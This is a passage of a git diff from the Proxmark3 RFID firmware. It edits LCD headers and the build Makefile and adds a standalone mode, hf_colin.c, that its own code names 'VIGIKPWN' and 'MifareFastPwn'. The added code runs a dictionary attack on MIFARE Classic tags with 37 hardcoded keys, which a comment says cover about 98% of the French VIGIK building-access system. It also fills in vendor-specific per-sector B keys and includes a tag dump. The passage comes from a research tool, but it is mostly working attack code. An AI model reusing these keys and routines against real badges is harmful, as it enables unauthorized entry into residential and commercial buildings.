emlSet(uint8_t *data, uint32_t offset, uint32_t length); +#endif /* __BIGBUF_H */ diff --git a/armsrc/LCD.c b/armsrc/LCD.c index 65d64ac90..b40dba0f7 100644 --- a/armsrc/LCD.c +++ b/armsrc/LCD.c @@ -5,11 +5,7 @@ //----------------------------------------------------------------------------- // LCD code //----------------------------------------------------------------------------- - -#include "proxmark3.h" -#include "apps.h" #include "LCD.h" -#include "fonts.h" void LCDSend(unsigned int data) { diff --git a/armsrc/LCD.h b/armsrc/LCD.h index 5661f6787..2643f66ee 100644 --- a/armsrc/LCD.h +++ b/armsrc/LCD.h @@ -9,6 +9,10 @@ #ifndef __LCD_H #define __LCD_H +#include "proxmark3.h" +#include "apps.h" +#include "fonts.h" + // The resolution of the LCD #define LCD_XRES 132 #define LCD_YRES 132 diff --git a/armsrc/Makefile b/armsrc/Makefile index e10c10019..a0f5c7f5c 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -9,82 +9,179 @@ APP_INCLUDES = apps.h #remove one of the following defines and comment out the relevant line -#in the next section to remove that particular feature from compilation -APP_CFLAGS = -DWITH_LF -DWITH_ISO15693 -DWITH_ISO14443a -DWITH_ISO14443b -DWITH_ICLASS -DWITH_LEGICRF -DWITH_HITAG -#-DWITH_LCD +#in the next section to remove that particular feature from compilation. +# NO space,TABs after the "\" sign. +APP_CFLAGS = -DWITH_CRC \ + -DON_DEVICE \ + -DWITH_LF \ + -DWITH_HITAG \ + -DWITH_ISO15693 \ + -DWITH_LEGICRF \ + -DWITH_ISO14443b \ + -DWITH_ISO14443a \ + -DWITH_ICLASS \ + -DWITH_FELICA \ + -DWITH_FLASH \ + -DWITH_SMARTCARD \ + -DWITH_HFSNOOP \ + -DWITH_LF_SAMYRUN \ + -fno-strict-aliasing -ffunction-sections -fdata-sections -#SRC_LCD = fonts.c LCD.c -SRC_LF = lfops.c hitag2.c -SRC_ISO15693 = iso15693.c iso15693tools.c -SRC_ISO14443a = epa.c iso14443a.c mifareutil.c mifarecmd.c mifaresniff.c -SRC_ISO14443b = iso14443.c -SRC_CRAPTO1 = crapto1.c crypto1.c +### IMPORTANT - move the commented variable below this line +# -DWITH_LCD \ +# -DWITH_EMV \ +# -DWITH_FPC \ +# +# Standalone Mods +#------------------------------------------------------- +# -DWITH_LF_ICERUN +# -DWITH_LF_SAMYRUN +# -DWITH_LF_PROXBRUTE +# -DWITH_LF_HIDBRUTE +# -DWITH_HF_YOUNG +# -DWITH_HF_MATTYRUN +# -DWITH_HF_COLIN -THUMBSRC = start.c \ - $(SRC_LCD) \ - $(SRC_ISO15693) \ - $(SRC_LF) \ - appmain.c printf.c \ - util.c \ - string.c \ - usb_cdc.c \ - cmd.c -# These are to be compiled in ARM mode -ARMSRC = fpgaloader.c \ - legicrf.c \ - iso14443crc.c \ - crc16.c \ - $(SRC_ISO14443a) \ - $(SRC_ISO14443b) \ - $(SRC_CRAPTO1) \ - legic_prng.c \ - iclass.c \ - crc.c +SRC_LCD = fonts.c LCD.c +SRC_LF = lfops.c hitag2.c hitagS.c lfsampling.c pcf7931.c lfdemod.c +SRC_ISO15693 = iso15693.c iso15693tools.c +#SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c +SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c +SRC_ISO14443b = iso14443b.c +SRC_FELICA = felica.c +SRC_CRAPTO1 = crypto1.c des.c aes.c desfire_key.c desfire_crypto.c mifaredesfire.c +SRC_CRC = crc.c crc16.c crc32.c +SRC_ICLASS = iclass.c optimized_cipher.c +SRC_LEGIC = legicrf.c legic_prng.c +SRC_FLASH = flashmem.c +SRC_SMARTCARD = i2c.c +#SRC_FPC = usart.c +SRC_BEE = bee.c + +#the FPGA bitstream files. Note: order matters! +FPGA_BITSTREAMS = fpga_lf.bit fpga_hf.bit + +#the zlib source files required for decompressing the fpga config at run time +SRC_ZLIB = inflate.c inffast.c inftrees.c adler32.c zutil.c +#additional defines required to compile zlib +ZLIB_CFLAGS = -DZ_SOLO -DZ_PREFIX -DNO_GZIP -DZLIB_PM3_TUNED +APP_CFLAGS += $(ZLIB_CFLAGS) +# zlib includes: +APP_CFLAGS += -I../zlib # stdint.h provided locally until GCC 4.5 becomes C99 compliant APP_CFLAGS += -I. +# Compile these in thumb mode (small size) +THUMBSRC = start.c \ + protocols.c \ + $(SRC_LCD) \ + $(SRC_ISO15693) \ + $(SRC_LF) \ + $(SRC_ZLIB) \ + $(SRC_LEGIC) \ + $(SRC_FLASH) \ + $(SRC_SMARTCARD) \ + $(SRC_FPC) \ + appmain.c \ + printf.c \ + util.c \ + string.c \ + BigBuf.c \ + ticks.c \ + random.c \ + hfsnoop.c + + +# These are to be compiled in ARM mode +ARMSRC = fpgaloader.c \ + $(SRC_ISO14443a) \ + $(SRC_ISO14443b) \ + $(SRC_CRAPTO1) \ + $(SRC_ICLASS) \ + $(SRC_EMV) \ + $(SRC_CRC) \ + $(SRC_FELICA) \ + parity.c \ + usb_cdc.c \ + cmd.c \ + lf_samyrun.c \ + vtsend.c + # lf_samyrun.c \ + # lf_hidbrute.c \ + # lf_proxbrute.c \ + # hf_mattyrun.c \ + +VERSIONSRC = version.c \ + fpga_version_info.c + # Do not move this inclusion before the definition of {THUMB,ASM,ARM}SRC include ../common/Makefile.common -OBJS = $(OBJDIR)/osimage.s19 $(OBJDIR)/fpgaimage.s19 +COMMON_FLAGS = -Os + +OBJS = $(OBJDIR)/fullimage.s19 +FPGA_COMPRESSOR = ../client/fpga_compress all: $(OBJS) -$(OBJDIR)/fpga_lf.o: fpga_lf.bit - $(OBJCOPY) -O elf32-littlearm -I binary -B arm --redefine-sym _binary____fpga_fpga_lf_bit_start=_binary_fpga_lf_bit_start --redefine-sym _binary____fpga_fpga_lf_bit_end=_binary_fpga_lf_bit_end --prefix-sections=fpga_lf_bit $^ $@ +.DELETE_ON_ERROR: -$(OBJDIR)/fpga_hf.o: fpga_hf.bit - $(OBJCOPY) -O elf32-littlearm -I binary -B arm --redefine-sym _binary____fpga_fpga_hf_bit_start=_binary_fpga_hf_bit_start --redefine-sym _binary____fpga_fpga_hf_bit_end=_binary_fpga_hf_bit_end --prefix-sections=fpga_hf_bit $^ $@ +# version.c should be remade on every compilation +.PHONY: version.c +version.c: default_version.c + perl ../tools/mkversion.pl .. > $@ || $(COPY) $^ $@ -$(OBJDIR)/fullimage.elf: $(VERSIONOBJ) $(OBJDIR)/fpga_lf.o $(OBJDIR)/fpga_hf.o $(THUMBOBJ) $(ARMOBJ) +fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR) + $(FPGA_COMPRESSOR) -v $(filter %.bit,$^) $@ + +$(OBJDIR)/fpga_all.o: $(OBJDIR)/fpga_all.bit.z + $(OBJCOPY) -O elf32-littlearm -I binary -B arm --prefix-sections=fpga_all_bit $^ $@ + +$(OBJDIR)/fpga_all.bit.z: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR) + $(FPGA_COMPRESSOR) $(filter %.bit,$^) $@ + +$(FPGA_COMPRESSOR): + make -C ../client $(notdir $(FPGA_COMPRESSOR)) + +$(OBJDIR)/fullimage.stage1.elf: $(VERSIONOBJ) $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ) $(CC) $(LDFLAGS) -Wl,-T,ldscript,-Map,$(patsubst %.elf,%.map,$@) -o $@ $^ $(LIBS) -$(OBJDIR)/fpgaimage.elf: $(OBJDIR)/fullimage.elf - $(OBJCOPY) -F elf32-littlearm --only-section .fpgaimage $^ $@ +$(OBJDIR)/fullimage.nodata.bin: $(OBJDIR)/fullimage.stage1.elf + $(OBJCOPY) -O binary -I elf32-littlearm --remove-section .data $^ $@ + +$(OBJDIR)/fullimage.nodata.o: $(OBJDIR)/fullimage.nodata.bin + $(OBJCOPY) -O elf32-littlearm -I binary -B arm --rename-section .data=stage1_image $^ $@ -$(OBJDIR)/osimage.elf: $(OBJDIR)/fullimage.elf - $(OBJCOPY) -F elf32-littlearm --remove-section .fpgaimage $^ $@ +$(OBJDIR)/fullimage.data.bin: $(OBJDIR)/fullimage.stage1.elf + $(OBJCOPY) -O binary -I elf32-littlearm --only-section .data $^ $@ + +$(OBJDIR)/fullimage.data.bin.z: $(OBJDIR)/fullimage.data.bin $(FPGA_COMPRESSOR) + $(FPGA_COMPRESSOR) $(filter %.bin,$^) $@ + +$(OBJDIR)/fullimage.data.o: $(OBJDIR)/fullimage.data.bin.z + $(OBJCOPY) -O elf32-littlearm -I binary -B arm --rename-section .data=compressed_data $^ $@ + +$(OBJDIR)/fullimage.elf: $(OBJDIR)/fullimage.nodata.o $(OBJDIR)/fullimage.data.o + $(CC) $(LDFLAGS) -Wl,-T,ldscript,-e,_osimage_entry,-Map,$(patsubst %.elf,%.map,$@) -o $@ $^ tarbin: $(OBJS) $(TAR) $(TARFLAGS) ../proxmark3-$(platform)-bin.tar $(OBJS:%=armsrc/%) $(OBJS:%.s19=armsrc/%.elf) - clean: $(DELETE) $(OBJDIR)$(PATHSEP)*.o $(DELETE) $(OBJDIR)$(PATHSEP)*.elf $(DELETE) $(OBJDIR)$(PATHSEP)*.s19 $(DELETE) $(OBJDIR)$(PATHSEP)*.map $(DELETE) $(OBJDIR)$(PATHSEP)*.d + $(DELETE) $(OBJDIR)$(PATHSEP)*.z + $(DELETE) $(OBJDIR)$(PATHSEP)*.bin $(DELETE) version.c .PHONY: all clean help help: @echo Multi-OS Makefile, you are running on $(DETECTED_OS) @echo Possible targets: - @echo + all - Make both: - @echo + $(OBJDIR)/osimage.s19 - The OS image - @echo + $(OBJDIR)/fpgaimage.s19 - The FPGA image + @echo + all - Build the full image $(OBJDIR)/fullimage.s19 @echo + clean - Clean $(OBJDIR) - diff --git a/armsrc/Standalone/hf_colin.c b/armsrc/Standalone/hf_colin.c new file mode 100644 index 000000000..8808954a1 --- /dev/null +++ b/armsrc/Standalone/hf_colin.c @@ -0,0 +1,999 @@ +//----------------------------------------------------------------------------- +// Colin Brigato, 2016,2017 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for HF Mifare aka ColinRun by Colin Brigato +//----------------------------------------------------------------------------- +#include "hf_colin.h" + +#define MF1KSZ 1024 +#define MF1KSZSIZE 64 +//#define FALSE false +//#define TRUE true +#define AUTHENTICATION_TIMEOUT 848 + +uint8_t cjuid[10]; +uint32_t cjcuid; +int currline; +int currfline; +int curlline; + +// TODO : Implement fast read of KEYS like in RFIdea +// als ohttp://ext.delaat.net/rp/2015-2016/p04/report.pdf + +// Colin's VIGIKPWN sniff/simulate/clone repeat routine for HF Mifare + +void cjPrintBigArray(const char *bigar, int len, uint8_t newlines, uint8_t debug) { + uint32_t chunksize = (USB_CMD_DATA_SIZE / 4); + uint8_t totalchunks = len / chunksize; + uint8_t last_chunksize = len - (totalchunks * chunksize); + char chunk[chunksize + 1]; + memset(chunk, 0x00, sizeof(chunk)); + if (debug > 0) { + Dbprintf("len : %d", len); + Dbprintf("chunksize : %d bytes", chunksize); + Dbprintf("totalchunks : %d", totalchunks); + Dbprintf("last_chunksize: %d", last_chunksize); + } + for (uint8_t i = 0; i < totalchunks; i++) { + memset(chunk, 0x00, sizeof(chunk)); + memcpy(chunk, &bigar[i * chunksize], chunksize); + DbprintfEx(FLAG_RAWPRINT, "%s", chunk); + } + if (last_chunksize > 0) { + memset(chunk, 0x00, sizeof(chunk)); + memcpy(chunk, &bigar[totalchunks * chunksize], last_chunksize); + DbprintfEx(FLAG_RAWPRINT, "%s", chunk); + } + if (newlines > 0) { + DbprintfEx(FLAG_NOLOG, " "); + } +} + +void cjSetCursFRight() { + vtsend_cursor_position(NULL, 98, (currfline)); + currfline++; +} + +void cjSetCursRight() { + vtsend_cursor_position(NULL, 59, (currline)); + currline++; +} + +void cjSetCursLeft() { + vtsend_cursor_position(NULL, 0, (curlline)); + curlline++; +} + +void cjTabulize() { DbprintfEx(FLAG_RAWPRINT, "\t\t\t"); } + +void cjPrintKey(uint64_t key, uint8_t *foundKey, uint16_t sectorNo, uint8_t type) { + char tosendkey[13]; + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[0], foundKey[1], foundKey[2], foundKey[3], foundKey[4], foundKey[5]); + cjSetCursRight(); + DbprintfEx(FLAG_NOLOG, "SEC: %02x | KEY : %s | TYP: %d", sectorNo, tosendkey, type); +} + +void RunMod() { + currline = 20; + curlline = 20; + currfline = 24; + memset(cjuid, 0, sizeof(cjuid)); + cjcuid = 0; + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE); + uint64_t key64; // Defines current key + uint8_t *keyBlock = NULL; // Where the keys will be held in memory. + +/* VIGIK EXPIRED DUMP FOR STUDY +Sector 0 +121C7F730208040001FA33F5CB2D021D +44001049164916491649000000000000 +00000000000000000000000000000000 +A0A1A2A3A4A579678800010203040506 +Sector 1 +0F000000000000000000000000000000 +AA0700002102080000740C110600AF13 +000000000000000001740C1108220000 +314B4947495679678800010203040506 +Sector 2 +24E572B923A3D243B402D60CAB576956 +216D6501FC8618B6C426762511AC2DEE +25BF4CEC3618D0BAB3A6E9210D887746 +314B4947495679678800010203040506 +Sector 3 +0FBC41A5D95398E76A1B2029E8EA9735 +088BA2CE732653D0C1147596AFCF94D7 +77B4D91F0442182273A29DEAF7A2D095 +314B4947495679678800010203040506 +Sector 4 +4CEE715866E508CDBC95C640EC9D1E58 +E800457CF8B079414E1B45DD3E6C9317 +77B4D91F0442182273A29DEAF7A2D095 +314B4947495679678800010203040506 +010203040506 0 +Sector 5-0F +00000000000000000000000000000000 +00000000000000000000000000000000 +00000000000000000000000000000000 +FFFFFFFFFFFFFF078069FFFFFFFFFFFF +KEY A : 1KGIV ; +ACCBITS : 796788[00]+VALUE +*/ + +//---------------------------- +// Set of keys to be used. +// This should cover ~98% of +// French VIGIK system @2017 +//---------------------------- + +#define STKEYS 37 + + const uint64_t mfKeys[STKEYS] = { + 0xffffffffffff, // TRANSPORTS + 0x000000000000, // Blankkey + 0x484558414354, // INFINEONON A / 0F SEC B / INTRATONE / HEXACT... + 0x414c41524f4e, // ALARON NORALSY + 0x424c41524f4e, // BLARON NORALSY + 0x4a6352684677, // COMELIT A General Key / 08 [2] 004 + 0x536653644c65, // COMELIT B General Key / 08 [2] 004 + 0x8829da9daf76, // URMET CAPTIV IF A => ALL A/B / BTICINO + 0x314B49474956, // "1KIGIV" VIGIK'S SERVICE BADGE A KEY + 0xa0a1a2a3a4a5, // PUBLIC BLOC0 BTICINO MAD ACCESS + 0x021209197591, // BTCINO UNDETERMINED SPREAKD 0x01->0x13 key + 0x010203040506, // VIGIK's B Derivative + 0xb0b1b2b3b4b5, // NA DERIVATE B # 1 + 0xaabbccddeeff, // NA DERIVATE B # 1 + 0x4d3a99c351dd, // NA DERIVATE B # 1 + 0x1a982c7e459a, // NA DERIVATE B # 1 + 0xd3f7d3f7d3f7, // NA DERIVATE B # 1 + 0x714c5c886e97, // NA DERIVATE B # 1 + 0x587ee5f9350f, // NA DERIVATE B # 1 + 0xa0478cc39091, // NA DERIVATE B # 1 + 0x533cb6c723f6, // NA DERIVATE B # 1 + 0x8fd0a4f256e9, // NA DERIVATE B # 1 + 0xa22ae129c013, // INFINEON B 00 + 0x49fae4e3849f, // INFINEON B 01 + 0x38fcf33072e0, // INFINEON B 02 + 0x8ad5517b4b18, // INFINEON B 03 + 0x509359f131b1, // INFINEON B 04 + 0x6c78928e1317, // INFINEON B 05 + 0xaa0720018738, // INFINEON B 06 + 0xa6cac2886412, // INFINEON B 07 + 0x62d0c424ed8e, // INFINEON B 08 + 0xe64a986a5d94, // INFINEON B 09 + 0x8fa1d601d0a2, // INFINEON B 0A + 0x89347350bd36, // INFINEON B 0B + 0x66d2b7dc39ef, // INFINEON B 0C + 0x6bc1e1ae547d, // INFINEON B 0D + 0x22729a9bd40f // INFINEON B 0E + }; + + // Can remember something like that in case of Bigbuf + keyBlock = BigBuf_malloc(STKEYS * 6); + int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t); + + for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) { + num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6)); + } + + // TODO : remember why we actually had need to initialize this array in such specific case + // and why not a simple memset abuse to 0xffize the whole space in one go ? + // uint8_t foundKey[2][40][6]; //= [ {0xff} ]; /* C99 abusal 6.7.8.21 + uint8_t foundKey[2][40][6]; + for (uint16_t t = 0; t < 2; t++) { + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + // validKey[t][sectorNo] = false; + for (uint16_t i = 0; i < 6; i++) { + foundKey[t][sectorNo][i] = 0xff; + } + } + } + + int key = -1; + bool err = 0; + bool trapped = 0; + bool allKeysFound = true; + + uint32_t size = mfKeysCnt; + LED_A_OFF(); + LED_B_OFF(); + LED_C_OFF(); + LED_D_OFF(); + LED_A_ON(); + + // banner: + vtsend_reset(NULL); + DbprintfEx(FLAG_NOLOG, "\r\n%s", clearTerm); + cjPrintBigArray(LOGO, sizeof(LOGO), 0, 0); + DbprintfEx(FLAG_NOLOG, "%s%s%s", _CYAN_, sub_banner, _WHITE_); + DbprintfEx(FLAG_NOLOG, "%s>>%s C.J.B's MifareFastPwn Started\r\n", _RED_, _WHITE_); + + currline = 20; + curlline = 20; + currfline = 24; + cjSetCursLeft(); + +failtag: + vtsend_cursor_position_save(NULL); + vtsend_set_attribute(NULL, 1); + vtsend_set_attribute(NULL, 5); + DbprintfEx(FLAG_NOLOG, "\t\t\t[ Waiting For Tag ]"); + vtsend_set_attribute(NULL, 0); + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + while (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) { + WDT_HIT(); + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(200); + vtsend_cursor_position_restore(NULL); + DbprintfEx(FLAG_NOLOG, "\t\t\t%s[ GOT a Tag ! ]%s", _GREEN_, _WHITE_); + cjSetCursLeft(); + DbprintfEx(FLAG_NOLOG, "\t\t\t `---> Breaking keys ---->"); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "\t%sGOT TAG :%s %08x%s", _RED_, _CYAN_, cjcuid, _WHITE_); + + if (cjcuid == 0) { + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>%s BUG: 0000_CJCUID! Retrying...", _RED_, _WHITE_); + goto failtag; + } + cjSetCursRight(); + DbprintfEx(FLAG_NOLOG, "--------+--------------------+-------"); + cjSetCursRight(); + DbprintfEx(FLAG_NOLOG, " SECTOR | KEY | A/B "); + cjSetCursRight(); + DbprintfEx(FLAG_NOLOG, "--------+--------------------+-------"); + + uint32_t end_time; + uint32_t start_time = end_time = GetTickCount(); + + //--------------------------------------------------------------------------- + // WE SHOULD FIND A WAY TO GET UID TO AVOID THIS "TESTRUN" + // -------------------------------------------------------- + // + HERE IS TO BE THOUGHT AS ONLY A KEY SHOULD BE CHECK + // `-+ THEN WE FILL EMULATOR WITH KEY + // `-+ WHEN WE FILL EMULATOR CARD WITH A KEY + // `-+ IF THERE IS ANY FAIL DURING ANY POINT, WE START BACK CHECKING B KEYS + // `-+ THEN FILL EMULATOR WITH B KEEY + // `-+ THEN EMULATOR WITH CARD WITH B KEY + // `-+ IF IT HAS FAILED OF ANY OF SORT THEN WE ARE MARRON LIKE POMALO. + //---------------------------------------------------------------------------- + // AN EVEN BETTER IMPLEMENTATION IS TO CHECK EVERY KEY FOR SECTOR 0 KEY A + // THEN IF FOUND CHECK THE SAME KEY FOR NEXT SECTOR ONLY KEY A + // THEN IF FAIL CHECK EVERY SECTOR A KEY FOR EVERY OTHER KEY BUT NOT THE BLOCK + // 0 KEY + // THEN TRY TO READ B KEYS FROM KNOWN A KEYS + // IF FAIL, CHECK SECTOR 0 B KEY WITH SECTOR 0 A KEY + // THEN IF FOUND CHECK EVERY SECTOR FOR SAME B KEY + // ELSE IF FAIL CHECK EVERY KEY FOR SECTOR 0 KEY B + // THEN IF FOUND CHECK SAME KEY FOR ONLY NEXT SECTOR KEY B (PROBABLE A KEY IS + // SAME FOR EVERY SECTOR AND B KEY IS SAME FOR EVERY SECTOR WITH JUST A vs B + // DERIVATION + // THEN IF B KEY IS NOT OF THIS SCHEME CHECK EVERY REMAINING B KEYED SECTOR + // WITH EVERY REMAINING KEYS, BUT DISCARDING ANY DEFAULT TRANSPORT KEYS. + //----------------------------------------------------------------------------- + // also we could avoid first UID check for every block + + // then let’s expose this “optimal case†of “well known vigik schemes†: + for (uint8_t type = 0; type < 2 && !err && !trapped; type++) { + for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) { + key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64); + // key = saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64); + if (key == -1) { + err = 1; + allKeysFound = false; + // used in “portable†imlementation on microcontroller: it reports back the fail and open the standalone lock + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + break; + } else if (key == -2) { + err = 1; // Can't select card. + allKeysFound = false; + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + break; + } else { + /* BRACE YOURSELF : AS LONG AS WE TRAP A KNOWN KEY, WE STOP CHECKING AND ENFORCE KNOWN SCHEMES */ + // uint8_t tosendkey[12]; + char tosendkey[13]; + num_to_bytes(key64, 6, foundKey[type][sec]); + cjSetCursRight(); + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %012" PRIx64 " ; TYP: %i", sec, key64, type); + /*cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);*/ + + switch (key64) { + ///////////////////////////////////////////////////////// + // COMMON SCHEME 1 : INFINITRON/HEXACT + case 0x484558414354: + cjSetCursLeft(); + DbprintfEx(FLAG_NOLOG, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, " .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%sDetected: %s INFI_HEXACT_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_); + ; + // Type 0 / A first + uint16_t t = 0; + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + } + t = 1; + uint16_t sectorNo = 0; + num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 1; + num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 2; + num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 3; + num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 4; + num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 5; + num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 6; + num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 7; + num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 8; + num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 9; + num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 10; + num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 11; + num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 12; + num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; 